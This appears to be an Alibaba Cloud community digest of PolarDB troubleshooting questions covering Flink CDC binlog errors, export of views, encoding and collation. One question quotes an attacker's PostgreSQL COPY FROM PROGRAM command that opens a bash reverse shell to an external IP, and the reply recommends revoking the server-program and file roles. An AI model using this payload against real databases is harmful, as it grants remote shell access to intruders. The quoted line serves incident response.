PolarDB操作报错合集之在进行批量导出数据时,如何过滤掉视图并只导出表

本文涉及的产品
云原生数据库 PolarDB 分布式版,标准版 2核8GB
云原生数据库 PolarDB PostgreSQL 版,标准版 2核4GB 50GB
云原生数据库 PolarDB MySQL 版,通用型 2核4GB 50GB
简介: 在使用阿里云的PolarDB(包括PolarDB-X)时,用户可能会遇到各种操作报错。下面汇总了一些常见的报错情况及其可能的原因和解决办法:1.安装PolarDB-X报错、2.PolarDB安装后无法连接、3.PolarDB-X 使用rpm安装启动卡顿、4.PolarDB执行UPDATE/INSERT报错、5.DDL操作提示“Lock conflict”、6.数据集成时联通PolarDB报错、7.编译DN报错(RockyLinux)、8.CheckStorage报错(源数据库实例被删除)、9.嵌套事务错误(TDDL-4604)。

问题一:PolarDB这个问题怎么解决?


PolarDB这个问题怎么解决?用flink-cdc监控咱们polardb的binlog,当表的索引有json类型索引的时候,会报如下的错误,在原生mysql8或者其他云数据库上对比,没有这个问题。2024-03-04 11:02:26

java.lang.RuntimeException: One or more fetchers have encountered exception

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcherManager.checkErrors(SplitFetcherManager.java:263)

at org.apache.flink.connector.base.source.reader.SourceReaderBase.getNextFetch(SourceReaderBase.java:185)

at org.apache.flink.connector.base.source.reader.SourceReaderBase.pollNext(SourceReaderBase.java:147)

at org.apache.flink.streaming.api.operators.SourceOperator.emitNext(SourceOperator.java:419)

at org.apache.flink.streaming.runtime.io.StreamTaskSourceInput.emitNext(StreamTaskSourceInput.java:68)

at org.apache.flink.streaming.runtime.io.StreamOneInputProcessor.processInput(StreamOneInputProcessor.java:65)

at org.apache.flink.streaming.runtime.tasks.StreamTask.processInput(StreamTask.java:562)

at org.apache.flink.streaming.runtime.tasks.mailbox.MailboxProcessor.runMailboxLoop(MailboxProcessor.java:231)

at org.apache.flink.streaming.runtime.tasks.StreamTask.runMailboxLoop(StreamTask.java:858)

at org.apache.flink.streaming.runtime.tasks.StreamTask.invoke(StreamTask.java:807)

at org.apache.flink.runtime.taskmanager.Task.runWithSystemExitMonitoring(Task.java:953)

at org.apache.flink.runtime.taskmanager.Task.restoreAndInvoke(Task.java:932)

at org.apache.flink.runtime.taskmanager.Task.doRun(Task.java:746)

at org.apache.flink.runtime.taskmanager.Task.run(Task.java:562)

at java.base/java.lang.Thread.run(Thread.java:834)

Caused by: java.lang.RuntimeException: SplitFetcher thread 0 received unexpected exception while polling the records

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.runOnce(SplitFetcher.java:168)

at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.run(SplitFetcher.java:117)

at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)

at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)

at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)

at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)

... 1 more

Caused by: com.ververica.cdc.connectors.shaded.org.apache.kafka.connect.errors.ConnectException: An exception occurred in the change event producer. This connector will be stopped.

at io.debezium.pipeline.ErrorHandler.setProducerThrowable(ErrorHandler.java:50)

at com.ververica.cdc.connectors.mysql.debezium.task.context.MySqlErrorHandler.setProducerThrowable(MySqlErrorHandler.java:85)

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$ReaderThreadLifecycleListener.onEventDeserializationFailure(MySqlStreamingChangeEventSource.java:1553)

at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1064)

at com.github.shyiko.mysql.binlog.BinaryLogClient.connect(BinaryLogClient.java:631)

at com.github.shyiko.mysql.binlog.BinaryLogClient$7.run(BinaryLogClient.java:932)

... 1 more

Caused by: io.debezium.DebeziumException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource.wrap(MySqlStreamingChangeEventSource.java:1488)

... 5 more

Caused by: com.github.shyiko.mysql.binlog.event.deserialization.EventDataDeserializationException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeEventData(EventDeserializer.java:341)

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeTableMapEventData(EventDeserializer.java:313)

at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.nextEvent(EventDeserializer.java:237)

at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$1.nextEvent(MySqlStreamingChangeEventSource.java:259)

at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1051)

... 3 more

Caused by: java.io.IOException: Stumbled upon long even though int expected

at com.github.shyiko.mysql.binlog.io.ByteArrayInputStream.readPackedInteger(ByteArrayInputStream.java:157)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventMetadataDeserializer.deserialize(TableMapEventMetadataDeserializer.java:67)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:59)

at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:37)


参考回答:

对比的其它 mysql 版本是什么,不同 mysql 版本在 binlog 格式上会有不同。应该是 flink cdc 没有做兼容导致了报错,具体问题可以给 flinkcdc 社区提 issue,可以搜到相关 issue:https://github.com/ververica/flink-cdc-connectors/issues/2192 


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/604437


问题二:PolarDB这个问题怎么解决?


PolarDB这个问题怎么解决?


参考回答:

不支持动态改库编码。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603804


问题三:在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?


在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?导出视图时报错java.lang.RuntimeException: Unable to get topology of table v_test


参考回答:

你好,目前对视图没有适配好 可能需要写个脚本单独指定要导出的表,后续会修复这个问题。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603802


问题四:PolarDB建库指定排序规则不生效吗?


PolarDB建库指定排序规则不生效吗?


参考回答:

PolarDB(基于 MySQL 协议的兼容数据库)在建库时通常允许指定排序规则(collation)。排序规则决定了数据库中字符串的比较和排序方式,以及字符串的存储格式。如果你在创建数据库时指定了排序规则,但发现它并没有生效,这可能是由以下几个原因造成的:

  1. 客户端与服务器不匹配:确保你的客户端(例如 MySQL 命令行工具或应用程序)与 PolarDB 服务器使用相同的字符集和排序规则。如果客户端和服务器使用的排序规则不一致,可能会导致查询结果或数据导入/导出时的显示不一致。
  2. 表或列的排序规则覆盖:即使在创建数据库时指定了排序规则,你也可以在创建表或列时覆盖这个设置。检查你的表或列定义,确保它们没有使用不同的排序规则。
  3. 默认值或继承:有时,如果你没有明确指定排序规则,系统可能会使用默认值或继承自其他对象的设置。检查 PolarDB 的文档,了解在没有指定排序规则时,它会如何确定使用的排序规则。
  4. 版本差异:不同的 PolarDB 版本可能对排序规则的处理有所不同。确保你查看的是与你使用的版本相对应的文档,并了解该版本的特定行为。
  5. 查看实际使用的排序规则:使用 SQL 查询来检查数据库、表或列实际使用的排序规则。例如,你可以使用 SHOW CREATE DATABASE your_database_name; 来查看数据库的创建语句,包括排序规则。
  6. 错误或遗漏:检查你的 SQL 语句是否有语法错误或遗漏。确保你正确地指定了排序规则,并且语法符合 PolarDB 的要求。


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603792


问题五:polardb中postgres中毒了,帮忙出出主意?


polardb中postgres中毒了,帮忙出出主意COPY cmd_exec FROM PROGRAM 'bash -c ''exec bash -i &>/dev/tcp/148.100.77.187/6655 <&1'''

刚发现的,目前还没解决思路


参考回答:

应用账号的这3个角色权限有的话,取消掉吧 pg_execute_server_program, pg_read_server_files , pg_write_server_files


关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603662

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
18天前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
在9月20日2024云栖大会上,阿里云智能集团副总裁,数据库产品事业部负责人,ACM、CCF、IEEE会士(Fellow)李飞飞发表《从数据到智能:Data+AI驱动的云原生数据库》主题演讲。他表示,数据是生成式AI的核心资产,大模型时代的数据管理系统需具备多模处理和实时分析能力。阿里云瑶池将数据+AI全面融合,构建一站式多模数据管理平台,以数据驱动决策与创新,为用户提供像“搭积木”一样易用、好用、高可用的使用体验。
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
|
1月前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
阿里云瑶池在2024云栖大会上重磅发布由Data+AI驱动的多模数据管理平台DMS:OneMeta+OneOps,通过统一、开放、多模的元数据服务实现跨环境、跨引擎、跨实例的统一治理,可支持高达40+种数据源,实现自建、他云数据源的无缝对接,助力业务决策效率提升10倍。
|
2月前
|
存储 人工智能 Cloud Native
云栖重磅|从数据到智能:Data+AI驱动的云原生数据库
阿里云数据库重磅升级!元数据服务OneMeta + OneOps统一管理多模态数据
|
3月前
|
存储 SQL Cloud Native
揭秘!PolarDB-X存储引擎如何玩转“时间魔术”?Lizard多级闪回技术让你秒回数据“黄金时代”!
【8月更文挑战第25天】PolarDB-X是一款由阿里巴巴自主研发的云原生分布式数据库,以其高性能、高可用性和出色的可扩展性著称。其核心竞争力之一是Lizard存储引擎的多级闪回技术,能够提供高效的数据恢复与问题诊断能力。本文通过一个电商公司的案例展示了一级与二级闪回技术如何帮助快速恢复误删的大量订单数据,确保业务连续性不受影响。一级闪回通过维护最近时间段内历史数据版本链,支持任意时间点查询;而二级闪回则通过扩展数据保留时间并采用成本更低的存储方式,进一步增强了数据保护能力。多级闪回技术的应用显著提高了数据库的可靠性和灵活性,为企业数据安全保驾护航。
47 1
|
3月前
|
关系型数据库 分布式数据库 数据库
基于PolarDB的图分析:通过表格将数据快速导入到图
本文介绍了使用 PolarDB PostgreSQL兼容版的AGE插件时,在大数据量下,快速导入数据的方法。可以快速将图数据库中亿级以上的节点和边快速导入到数据库中,避免了插入边时进行查询带来的性能瓶颈。
|
3月前
|
数据库 Windows
超详细步骤解析:从零开始,手把手教你使用 Visual Studio 打造你的第一个 Windows Forms 应用程序,菜鸟也能轻松上手的编程入门指南来了!
【8月更文挑战第31天】创建你的第一个Windows Forms (WinForms) 应用程序是一个激动人心的过程,尤其适合编程新手。本指南将带你逐步完成一个简单WinForms 应用的开发。首先,在Visual Studio 中创建一个“Windows Forms App (.NET)”项目,命名为“我的第一个WinForms 应用”。接着,在空白窗体中添加一个按钮和一个标签控件,并设置按钮文本为“点击我”。然后,为按钮添加点击事件处理程序`button1_Click`,实现点击按钮后更新标签文本为“你好,你刚刚点击了按钮!”。
258 0
|
3月前
|
监控 Cloud Native 关系型数据库
【跨区域PolarDB-MySQL主备互通】:揭秘如何跨越万里实现数据无缝同步,打造坚不可摧的灾备体系!
【8月更文挑战第20天】阿里云PolarDB是一款兼容MySQL协议的云原生数据库服务,提供高性能与高可用性。本文介绍如何在PolarDB-MySQL中实现跨区域主备同步。首先创建主备两个集群,接着通过MySQL复制功能配置同步:获取主节点复制信息、配置备节点复制并启动复制进程。最后,通过`SHOW SLAVE STATUS\G;`监控复制状态,确保数据同步正常。此方法可提升数据的可靠性和可用性,需考虑网络条件对性能的影响。
118 0
|
1月前
|
关系型数据库 MySQL 分布式数据库
零基础教你用云数据库PolarDB搭建企业网站,完成就送桌面收纳桶!
零基础教你用云数据库PolarDB搭建企业网站,完成就送桌面收纳桶,邀请好友完成更有机会获得​小米Watch S3、小米体重称​等诸多好礼!
零基础教你用云数据库PolarDB搭建企业网站,完成就送桌面收纳桶!
|
2月前
|
关系型数据库 MySQL Serverless
探索PolarDB MySQL版:Serverless数据库的灵活性与性能
本文介绍了个人开发者对阿里云PolarDB MySQL版,特别是其Serverless特性的详细评测体验。评测涵盖了产品初体验、性能观测、Serverless特性深度评测及成本效益分析等方面。尽管试用过程中遇到一些小问题,但总体而言,PolarDB MySQL版表现出色,提供了高性能、高可用性和灵活的资源管理,是个人开发者和企业用户的优秀选择。
|
16天前
|
关系型数据库 分布式数据库 数据库
锦鲤附体 | PolarDB数据库创新设计赛,好礼不停!
锦鲤附体 | PolarDB数据库创新设计赛,好礼不停!

相关产品

  • 云原生数据库 PolarDB